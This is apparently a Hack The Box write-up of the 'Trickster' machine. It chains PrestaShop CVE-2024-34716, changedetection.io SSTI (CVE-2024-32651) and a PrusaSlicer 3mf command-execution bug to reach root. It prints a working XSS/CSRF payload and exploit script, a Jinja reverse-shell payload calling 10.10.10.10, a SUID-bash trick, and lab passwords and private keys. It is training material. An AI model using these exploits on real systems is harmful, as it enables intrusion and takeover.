Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://trickster.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Since nmap already found the redirect to trickster.htb
, I’ll add this to my /etc/hosts
file before having a closer look at HTTP.
HTTP
The website talks about an exceptional shopping experience and offers some background information, a way to contact them and a link to their shop at shop.trickster.htb
. I’ll add the new domain to my hosts
.
Following the link to the shop leads to a generic webshop powered by PrestaShop, visible within the footer alongside a potential valid email address admin@trickster.htb
.
A overview of the shop can be seen in /sitemap
and a /robots.txt
was also auto-generated by PrestaShop. One entry there sticks out: .git
.
curl -s http://shop.trickster.htb/robots.txt | head -n 15
# robots.txt automatically generated by PrestaShop e-commerce open-source solution
# https://www.prestashop.com - https://www.prestashop.com/forums
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/robotstxt.html
User-agent: *
Disallow: /.git
# Allow Directives
Allow: */modules/*.css
Allow: */modules/*.js
Allow: */modules/*.png
Accessing /.git/
through the browser shows a directory listing for a bare git repository.
With the help of git-dumper I’ll retrieve the repository. It does only have a single commit by adam@trickster.htb that updated the admin_panel.
git-dumper git-dumper http://shop.trickster.htb shop.git
[-] Testing http://shop.trickster.htb/.git/HEAD [200]
[-] Testing http://shop.trickster.htb/.git/ [200]
[-] Fetching .git recursively
--- SNIP ---
ls -la shop.git
drwxrwxr-x 4 ryuki ryuki 4096 Sep 22 11:25 .
drwxrwxr-x 3 ryuki ryuki 4096 Sep 22 11:23 ..
drwxrwxr-x 7 ryuki ryuki 4096 Sep 22 11:23 .git
-rw-rw-r-- 1 ryuki ryuki 1538 Sep 22 11:23 .php-cs-fixer.dist.php
-rw-rw-r-- 1 ryuki ryuki 5054 Sep 22 11:23 INSTALL.txt
-rw-rw-r-- 1 ryuki ryuki 522 Sep 22 11:23 Install_PrestaShop.html
-rw-rw-r-- 1 ryuki ryuki 183862 Sep 22 11:23 LICENSES
-rw-rw-r-- 1 ryuki ryuki 863 Sep 22 11:23 Makefile
drwxrwxr-x 8 ryuki ryuki 4096 Sep 22 11:23 admin634ewutrx1jgitlooaj
-rw-rw-r-- 1 ryuki ryuki 1305 Sep 22 11:23 autoload.php
-rw-rw-r-- 1 ryuki ryuki 2506 Sep 22 11:23 error500.html
-rw-rw-r-- 1 ryuki ryuki 1169 Sep 22 11:23 index.php
-rw-rw-r-- 1 ryuki ryuki 1256 Sep 22 11:23 init.php
Unfortunately the git repository does not expose any credentials, but shows the folder for the admin login, that gets randomized during the installation1. Going to /admin634ewutrx1jgitlooaj
shows a login prompt and the version number 8.1.5
.
Hint
It’s also possible to register an account and start shopping. HTML and possibly Javascript can be injected into the messages attached to an order but apparently nobody looks there, so exploitation is limited. Furthermore the cookies have the HttpOnly flag set, so exfiltration is not possible.
Execution
By looking up the version number I can quickly find CVE-2024-34716, a XSS
vulnerability in the front-office contact form (/contact-us
) that allows running Javascript in the context of the administrator’s session. There’s also a PoC that includes some more technical details.
Basically the exploit sends a HTML file disguised as an image file via the contact form. When an administrator views the attached file, the Javascript executes and installs a backdoored theme through CSRF.
The Proof-of-Concept comes with the HTML file and the malicious theme as ZIP. It also includes a Python script that executes the steps required and then listens for a reverse shell connection. Within the accompanied blog posts it’s mentioned to modify the HTML file and ZIP file, so some adjustments have to be made.
First I’ll have a look at the contents of the ZIP file. In there are about 1000 files, most notably a.php
as the reverse shell to be called. The IP to connect to is hardcoded there, so I need to fix that. To do so I extract that file, modify it and then update the archive.
# Extract a.php
unzip ps_next_8_theme_malicious.zip a.php
Archive: ps_next_8_theme_malicious.zip
inflating: a.php
# Replace IP
sed -i 's/172.16.27.179/10.10.10.10/g' a.php
# Update ZIP with new file
zip -u ps_next_8_theme_malicious.zip a.php
Next I check out the HTML file and it also has several important values hardcoded. The URLs to be called point to http://prestashop:8000
and the randomized admin folder is set to /admin-dev/
. Futhermore the malicious theme is downloaded from the same IP as within the reverse shell. In order to make the exploit work, I change the URL to http://shop.trickser.htb
and the admin folder to /admin634ewutrx1jgitlooaj/
as seen in the git repository. Then I also replace the IP with my own, since I plan to serve the ZIP over HTTP.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta viewport="width=device-width, initial-scale=1.0">
<title>Exploit</title>
</head>
<body>
<script>
async function fetchTokenFromHTML() {
const url = 'http://shop.trickster.htb/admin634ewutrx1jgitlooaj/index.php/improve/design/themes/import';
try {
const response = await fetch(url, {
method: 'GET',
credentials: 'include',
redirect: 'follow'
});
if (!response.ok) throw new Error('Failed to fetch the page for token extraction. Status: ' + response.status);
const htmlText = await response.text();
const parser = new DOMParser();
const doc = parser.parseFromString(htmlText, "text/html");
const anchor = doc.querySelector('a.btn.btn-lg.btn-outline-danger.mr-3');
const href = anchor ? anchor.getAttribute('href') : null;
const match = href ? href.match(/_token=([^&]+)/) : null;
const token = match ? match[1] : null;
if (!token) throw new Error('Token not found in anchor tag href.');
console.log('Extracted Token from HTML:', token);
return token;
} catch (error) {
console.error('Error fetching token from HTML content:', error);
return null;
}
}
async function fetchCSRFToken(token) {
const csrfUrl = `http://shop.trickster.htb/admin634ewutrx1jgitlooaj/index.php/improve/design/themes/import?_token=${token}`;
try {
const response = await fetch(csrfUrl, {
method: 'GET',
credentials: 'include',
redirect: 'follow'
});
if (!response.ok) throw new Error('Failed to fetch the page for CSRF token extraction. Status: ' + response.status);
const htmlText = await response.text();
const parser = new DOMParser();
const doc = parser.parseFromString(htmlText, "text/html");
const csrfTokenInput = doc.querySelector('input[name="import_theme[_token]"]');
const csrfToken = csrfTokenInput ? csrfTokenInput.value : null;
if (!csrfToken) throw new Error('CSRF token not found in HTML content.');
console.log('Extracted CSRF Token:', csrfToken);
return csrfToken;
} catch (error) {
console.error('Error fetching CSRF token:', error);
return null;
}
}
async function importTheme() {
try {
const locationHeaderToken = await fetchTokenFromHTML();
if (!locationHeaderToken) {
console.error('Failed to fetch token from HTML');
return;
}
const csrfToken = await fetchCSRFToken(locationHeaderToken);
if (!csrfToken) {
console.error('Failed to fetch CSRF token');
return;
}
const formData = new FormData();
formData.append('import_theme[import_from_web]', 'http://10.10.10.10/ps_next_8_theme_malicious.zip');
formData.append('import_theme[_token]', csrfToken);
const postUrl = `/admin634ewutrx1jgitlooaj/index.php/improve/design/themes/import?_token=${locationHeaderToken}`;
console.log('POST URL:', postUrl);
const response = await fetch(postUrl, {
method: 'POST',
body: formData,
});
if (response.ok) {
console.log('Theme imported successfully');
} else {
console.error('Failed to import theme. Response Status:', response.status);
}
} catch (error) {
console.error('Error importing theme:', error);
}
}
document.addEventListener('DOMContentLoaded', function() {
importTheme();
});
</script>
</body>
</html>
Last but not least, I skim the exploit.py
and see it asks for 4 values, uploads the HTML file through the contact form and then spins up ncat
and requests /themes/next/reverse-shell.php
in a loop. Since I do not have ncat
installed, I’ll replace that with nc
and fix the file to be called considering it’s actually called a.php
.
import requests, subprocess, time, threading
from bs4 import BeautifulSoup
def send_get_requests(url, interval=5):
while True:
try:
response = requests.get(url)
print(f"GET request to {url}: {response.status_code}")
except requests.RequestException as e:
print(f"Error during GET request: {e}")
time.sleep(interval)
host_url = input("[?] Please enter the URL (e.g., http://prestashop:8000): ")
email = input("[?] Please enter your email: ")
message_content = input("[?] Please enter your message: ")
exploit_path = input("[?] Please provide the path to your HTML file: ")
with open(exploit_path, 'r') as file:
html_content = file.read()
url = f"{host_url}/contact-us"
response = requests.get(url)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
token = soup.find('input', {'name': 'token'})['value']
cookies = response.cookies
files = {
'fileUpload': ('test.png', html_content, 'image/png'),
}
data = {
'id_contact': '2',
'from': email,
'message': message_content,
'url': '',
'token': token,
'submitMessage': 'Send'
}
response = requests.post(url, files=files, data=data, cookies=cookies)
def send_get_requests(interval=1):
url = f"{host_url}/themes/next/a.php"
while True:
try:
requests.get(url)
except requests.RequestException as e:
print(f"Error during GET request: {e}")
time.sleep(interval)
thread = threading.Thread(target=send_get_requests)
thread.daemon = True
thread.start()
if response.status_code == 200:
print(f"[X] Yay! Your exploit was sent successfully!")
print(f"[X] Once a CS agent clicks on attachement, you'll get a SHELL")
subprocess.call(["nc", "-lnvp", "1234"], shell=False)
print("[X] ncat is now listening on port 1234. Press Ctrl+C to terminate.")
else:
print(f"[!] Failed to send the message. Status code: {response.status_code} Reason: {response.reason}")
Info
Right after the release there was a pull request that aims to fix most of the issues
Now I’m ready to fire up the exploit and hopefully catch a reverse shell. A few minutes pass and there’s a hit on the webserver to retrieve the theme, followed up with a shell as www-data
.
python3 exploit.py
[?] Please enter the URL (e.g., http://prestashop:8000): http://shop.trickster.htb
[?] Please enter your email: ryuki@ctf.htb
[?] Please enter your message: Please Click this
[?] Please provide the path to your HTML file: exploit.html
[X] Yay! Your exploit was sent successfully!
[X] Once a CS agent clicks on attachement, you'll get a SHELL
listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.129.187.93] 36752
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
10:17:02 up 1:58, 0 users, load average: 0.14, 0.20, 0.21
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
Privilege Escalation
Shell as james
PrestaShop stores its information in a database and the credentials to access it in /var/www/prestashop/app/config/parameters.php
. Among other secret information, there are the credentials ps_user:prest@shop_o
to access the InnoDB database prestashop
.
<?php return array (
'parameters' =>
array (
'database_host' => '127.0.0.1',
'database_port' => '',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'prest@shop_o',
'database_prefix' => 'ps_',
'database_engine' => 'InnoDB',
'mailer_transport' => 'smtp',
'mailer_host' => '127.0.0.1',
'mailer_user' => NULL,
'mailer_password' => NULL,
'secret' => 'eHPDO7bBZPjXWbv3oSLIpkn5XxPvcvzt7ibaHTgWhTBM3e7S9kbeB1TPemtIgzog',
'ps_caching' => 'CacheMemcache',
'ps_cache_enable' => false,
'ps_creation_date' => '2024-05-25',
'locale' => 'en-US',
'use_debug_toolbar' => true,
'cookie_key' => '8PR6s1SJZLPCjXTegH7fXttSAXbG2h6wfCD3cLk5GpvkGAZ4K9hMXpxBxrf7s42i',
'cookie_iv' => 'fQoIWUoOLU0hiM2VmI1KPY61DtUsUx8g',
'new_cookie_key' => 'def000001a30bb7f2f22b0a7790f2268f8c634898e0e1d32444c3a03f4040bd5e8cb44bdb57a73f70e01cf83a38ec5d2ddc1741476e83c45f97f763e7491cc5e002aff47',
'api_public_key' => '-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuSFQP3xrZccKbS/VGKMr
v8dF4IJh9F9NvmPZqiFNpJnBHhfWE3YVM/OrEREGKztkHFsQGUZXFIwiBQVs5kAG
5jfw+hQrl89+JRD0ogZ+OHUfN/CgmM2eq1H/gxAYfcRfwjSlOh2YzAwpLvwtYXBt
Scu6QqRAdotokqW2m3aMt+LV8ERdFsBkj+/OVdJ8oslvSt6Kgf39DnBpGIXAqaFc
QdMdq+1lT9oiby0exyUkl6aJU21STFZ7kCf0Secp2f9NoaKoBwC9m707C2UCNkAm
B2A2wxf88BDC7CtwazwDW9QXdF987RUzGj9UrEWwTwYEcJcV/hNB473bcytaJvY1
ZQIDAQAB
-----END PUBLIC KEY-----
',
'api_private_key' => '-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC5IVA/fGtlxwpt
L9UYoyu/x0XggmH0X02+Y9mqIU2kmcEeF9YTdhUz86sREQYrO2QcWxAZRlcUjCIF
BWzmQAbmN/D6FCuXz34lEPSiBn44dR838KCYzZ6rUf+DEBh9xF/CNKU6HZjMDCku
/C1hcG1Jy7pCpEB2i2iSpbabdoy34tXwRF0WwGSP785V0nyiyW9K3oqB/f0OcGkY
hcCpoVxB0x2r7WVP2iJvLR7HJSSXpolTbVJMVnuQJ/RJ5ynZ/02hoqgHAL2bvTsL
ZQI2QCYHYDbDF/zwEMLsK3BrPANb1Bd0X3ztFTMaP1SsRbBPBgRwlxX+E0Hjvdtz
K1om9jVlAgMBAAECggEAD5CTdKL7TJVNdRyeZ/HgDcGtSFDt92PD34v5kuo14u7i
Y6tRXlWBNtr3uPmbcSsPIasuUVGupJWbjpyEKV+ctOJjKkNj3uGdE3S3fJ/bINgI
BeX/OpmfC3xbZSOHS5ulCWjvs1EltZIYLFEbZ6PSLHAqesvgd5cE9b9k+PEgp50Q
DivaH4PxfI7IKLlcWiq2mBrYwsWHIlcaN0Ys7h0RYn7OjhrPr8V/LyJLIlapBeQV
Geq6MswRO6OXfLs4Rzuw17S9nQ0PDi4OqsG6I2tm4Puq4kB5CzqQ8WfsMiz6zFU/
UIHnnv9jrqfHGYoq9g5rQWKyjxMTlKA8PnMiKzssiQKBgQDeamSzzG6fdtSlK8zC
TXHpssVQjbw9aIQYX6YaiApvsi8a6V5E8IesHqDnS+s+9vjrHew4rZ6Uy0uV9p2P
MAi3gd1Gl9mBQd36Dp53AWik29cxKPdvj92ZBiygtRgTyxWHQ7E6WwxeNUWwMR/i
4XoaSFyWK7v5Aoa59ECduzJm1wKBgQDVFaDVFgBS36r4fvmw4JUYAEo/u6do3Xq9
JQRALrEO9mdIsBjYs9N8gte/9FAijxCIprDzFFhgUxYFSoUexyRkt7fAsFpuSRgs
+Ksu4bKxkIQaa5pn2WNh1rdHq06KryC0iLbNii6eiHMyIDYKX9KpByaGDtmfrsRs
uxD9umhKIwKBgECAXl/+Q36feZ/FCga3ave5TpvD3vl4HAbthkBff5dQ93Q4hYw8
rTvvTf6F9900xo95CA6P21OPeYYuFRd3eK+vS7qzQvLHZValcrNUh0J4NvocxVVn
RX6hWcPpgOgMl1u49+bSjM2taV5lgLfNaBnDLoamfEcEwomfGjYkGcPVAoGBAILy
1rL84VgMslIiHipP6fAlBXwjQ19TdMFWRUV4LEFotdJavfo2kMpc0l/ZsYF7cAq6
fdX0c9dGWCsKP8LJWRk4OgmFlx1deCjy7KhT9W/fwv9Fj08wrj2LKXk20n6x3yRz
O/wWZk3wxvJQD0XS23Aav9b0u1LBoV68m1WCP+MHAoGBANwjGWnrY6TexCRzKdOQ
K/cEIFYczJn7IB/zbB1SEC19vRT5ps89Z25BOu/hCVRhVg9bb5QslLSGNPlmuEpo
HfSWR+q1UdaEfABY59ZsFSuhbqvC5gvRZVQ55bPLuja5mc/VvPIGT/BGY7lAdEbK
6SMIa53I2hJz4IMK4vc2Ssqq
-----END PRIVATE KEY-----
',
),
);
Through the command mysql I access the database and dump the password hashes for the employees within ps_employees
. Besides admin there’s james
and that user is also configured on the system itself.
mysql -u ps_user -D prestashop -p
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2923
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [prestashop]> select lastname,firstname,passwd from ps_employee;
+----------+-----------+--------------------------------------------------------------+
| lastname | firstname | passwd |
+----------+-----------+--------------------------------------------------------------+
| Store | Trickster | $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C |
| james | james | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm |
+----------+-----------+--------------------------------------------------------------+
2 rows in set (0.000 sec)
john is able to crack the bcrypt hash for james: alwaysandforever
and this allows me to login via SSH and collect the first flag.
john --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
alwaysandforever (?)
--- SNIP ---
Shell as adam
After getting SSH access on the host, I check the running processes and can see that a Docker container is started and root is running changedetection.py
. A quick online search hints towards changedetection.io and their documentation lists running within Docker on port 5000
as one of the ways to run the application2.
ps auxwww
--- SNIP ---
root 13639 0.0 0.3 1238400 12328 ? Sl 10:20 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id ae5c137aa8efc8eee17e3f5e2f93594b6bfc9ea2d7b350faba36e80d588aa47c -address /run/containerd/containerd.sock
root 13678 0.2 1.8 1300332 73916 ? Ssl 10:20 0:02 python ./changedetection.py -d /datastore
--- SNIP ---
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:94:8d:07 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.129.187.93/16 brd 10.129.255.255 scope global dynamic eth0
valid_lft 2951sec preferred_lft 2951sec
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:b1:0d:da:26 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
19: vethab3a48e@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether ca:23:62:b1:b1:0e brd ff:ff:ff:ff:ff:ff link-netnsid 0
The docker0 interface uses 172.17.0.1/16
as IP address, so the container should be somewhere in that /16
subnet. A ping sweap returns a positive feedback on 172.17.0.2
and the curl command as follow up confirms that the application is running on that IP.
for i in {2..254}; do (ping -c 1 172.17.0.$i | grep ttl &) ; done
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.052 ms
curl -sL 172.17.0.2:5000 | head -n 10
<!DOCTYPE html>
<html lang="en" data-darkmode="false">
<head>
<meta charset="utf-8" >
<meta name="viewport" content="width=device-width, initial-scale=1.0" >
<meta name="description" content="Self hosted website change detection." >
<title>Change Detection</title>
<link rel="alternate" type="application/rss+xml" title="Changedetection.io » Feed" href="/rss?tag=&token=" >
<link rel="stylesheet" href="/static/styles/pure-min.css" >
--- SNIP ---
Through SSH I create a SOCKS proxy (-D 1080
) to access the application from my host. Accessing http://172.17.0.2:5000
shows the login prompt to ChangeDetection.io and the version number v0.45.20
. The password for james
works here as well and I get authenticated access to the application.
Looking up the version finds CVE-2024-32651, a server side template injection that leads to remote code execution. When a monitored website changes, the application might send out a notification that can be customized through a Jinja2 template. This is not sanitized and system commands can be ran. Another PoC provides some sample code, that I adapt to my needs.
I don’t want to wait until a page changes to trigger the exploit and decide to go to Settings ⇒ Notifications. There I can send a test notification. I update the notification URL list with a get://172.17.0.1:9999
(it has to be a valid IP) and add my payload with the reverse shell as Notification Body. Upon pressing send, I get a connection on my listener on port 4444 as root
.
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.10.10\",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'").read()}}
{% endif %}
{% endfor %}
It can be seen in ps
output that the application is started with -d /datastore
denoting the directory to store the data (duh!). In there are some config files and the currently configured watches in the directories with UUID as name. The JSON
file also contains the password to the web-ui, but since I’m logged in already there’s no point in cracking it.
ls -la /datastore
total 48
drwxr-xr-x 5 root root 4096 Sep 22 13:00 .
drwxr-xr-x 1 root root 4096 Sep 13 12:24 ..
drwxr-xr-x 2 root root 4096 Aug 31 08:56 Backups
drwxr-xr-x 2 root root 4096 Sep 19 11:44 b86f1003-3ecb-4125-b090-27e15ca605b9
drwxr-xr-x 2 root root 4096 Sep 19 11:44 bbdd78f6-db98-45eb-9e7b-681a0c60ea34
-rw-r--r-- 1 root root 64 Aug 30 20:21 secret.txt
-rw-r--r-- 1 root root 155 Aug 30 20:25 url-list-with-tags.txt
-rw-r--r-- 1 root root 73 Aug 30 20:25 url-list.txt
-rw-r--r-- 1 root root 14040 Sep 22 13:00 url-watches.json
More interesting is the Backups
directory. It does contain two ZIP files with a timestamp in the name that may be older versions of the watches or the UI, so there could be another password. The container has only a few tools available and I decide to transfer those to my own host. I accomplish that by spinning up a local webserver and then download the files from there to the host to transfer them via SCP.
cd /datastore/Backups
ls
changedetection-backup-20240830194841.zip
changedetection-backup-20240830202524.zip
# Spin up a simple HTTP server
python3 -m http.server 8888
Extracting the contents of changedetection-backup-20240830194841.zip
shows just one entry for the watches in url-list.txt
. Apparently the application was configured to watch a Gitea instance with the repository of the PrestaShop.
unzip -d 20240830194841 changedetection-backup-20240830194841.zip
Archive: changedetection-backup-20240830194841.zip
creating: 20240830194841/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/
extracting: 20240830194841/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
extracting: 20240830194841/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/history.txt
inflating: 20240830194841/secret.txt
inflating: 20240830194841/url-list.txt
inflating: 20240830194841/url-list-with-tags.txt
inflating: 20240830194841/url-watches.json
cd 20240830194841
cat url-list.txt
https://gitea/james/prestashop/src/branch/main/app/config/parameters.php
Within the directory b4a8b52d-651b-44bc-bbc6-f9e8c6590103
there’s one snapshot of the page but trying to read it produces gibberish. The file extension .br
identifies the a brotli archive that is used by changedetection.io3. After installing brotli with sudo apt install brotli
, I can decompress the file and get the password for adam: adam_admin992
brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br
cat f04f0732f120c0cc84a993ad99decb2c.txt
--- SNIP ---
< ? php return array (
'parameters' =>
array (
'database_host' => '127.0.0.1' ,
'database_port' => '' ,
'database_name' => 'prestashop' ,
'database_user' => 'adam' ,
'database_password' => 'adam_admin992' ,
'database_prefix' => 'ps_' ,
'database_engine' => 'InnoDB'
--- SNIP ---
Shell as root
The user adam
can run /opt/PrusaSlicer/prusaslicer
as anyone and checking the version shows 2.6.1
. PrusaSlicer is a tool to convert 3D models into G-code instructions. Next to the binary is TRICKSTER.3mf
, a 3D Manufacturing Format4.
sudo -l
Matching Defaults entries for adam on trickster:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
/opt/PrusaSlicer/prusaslicer --help | head -n 5
PrusaSlicer-2.6.1+linux-x64-GTK2-202309060801 based on Slic3r (with GUI support)
https://github.com/prusa3d/PrusaSlicer
Via the version I can find CVE-2023-47268, an arbitrary code execution through 3mf
files. Those are apparently just ZIP
files containing a bunch of other files and also configurations. One of those, Slic3r_PE.config
, allows to configure a post_process
and this can be used to run any command in the context of the user executing prusaslicer.
Since the host is lacking zip
I transfer the TRICKSTER.3mf
to my host. Extract the file Metadata/Slic3r_PE.config
and modify it to include /usr/bin/chmod u+s /bin/bash
as post_process. Then I update the 3mf
file and upload it to the target again.
# Check the contents of the file
unzip -l TRICKSTER.3mf
Archive: TRICKSTER.3mf
Length Date Time Name
--------- ---------- ----- ----
375 2024-05-23 23:08 [Content_Types].xml
38098 2024-05-23 23:08 Metadata/thumbnail.png
411 2024-05-23 23:08 _rels/.rels
549577 2024-05-23 23:08 3D/3dmodel.model
13624 2024-05-23 23:08 Metadata/Slic3r_PE.config
3414 2024-05-23 23:08 Metadata/Slic3r_PE_model.config
--------- -------
605499 6 files
# Extract the config
unzip TRICKSTER.3mf Metadata/Slic3r_PE.config
# Update the file to include my payload
sed -i "s#; post_process =.*#; post_process = /usr/bin/chmod u+s /bin/bash#" Metadata/Slic3r_PE.config
# Update the file in the archive
zip -u TRICKSTER.3mf Metadata/Slic3r_PE.config
Supplying the updated 3mf
file to prusaslicer with -s
results in an error regarding in the output filename. Consulting the --help
shows I can influence the output filename with -o
. I rerun the command and this time it works and the /bin/bash
has the SUID bit set, allowing me to escalate to root
.
sudo /opt/PrusaSlicer/prusaslicer -s /home/adam/TRICKSTER.3mf
--- SNIP ---
Failed processing of the output_filename_format template.
Parsing error at line 1: Non-integer index is not allowed to address a vector variable.
{input_filename_base}_{nozzle_diameter[initial_tool]}n_{layer_height}mm_{printing_filament_types}_{printer_model}_{print_time}.gcode
sudo /opt/PrusaSlicer/prusaslicer -s /home/adam/TRICKSTER.3mf -o abc
--- SNIP ---
ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
Unintended Path
Within the Docker container as root, I have access to the bash history and someone apparently submitted the root password as command. It does work for the root account in the container but also for the host.
history
1 apt update
2 #YouC4ntCatchMe#
3 apt-get install libcap2-bin
4 capsh --print
5 clear
6 capsh --print
7 cd changedetectionio/
8 ls
9 nano forms.py
10 apt install nano
11 nano forms.py
12 exit
13 capsh --print
14 nano
15 cd changedetectionio/
16 nano forms.py
17 exit
18 nano changedetectionio/flask_app.py
19 exit
20 nano changedetectionio/flask_app.py
21 exit
22 nano changedetectionio/flask_app.py
23 nano changedetectionio/static/js/notifications.js
24 exit
This allows to escalate the privileges to root via su and the password #YouC4ntCatchMe#
.
Attack Path
flowchart TD subgraph "Execution" A(PrestaShop) -->|CVE-2024-34716 in Contact Form| B(Shell as www-data) end subgraph "Privilege Escalation" B -->|Credentials in DB| C(Hash for james) C -->|Bruteforce| D(Shell as james) D -->|Password Reusage| E(Access to changedetection.io running in Docker) E -->|CVE-2024-32651| F(Access as root in container) F -->|Backups with Password| G(Access as adam) G -->|CVE-2023-47268| H(Access as root) F -->|"Unintended\nPassword in bash history"| H end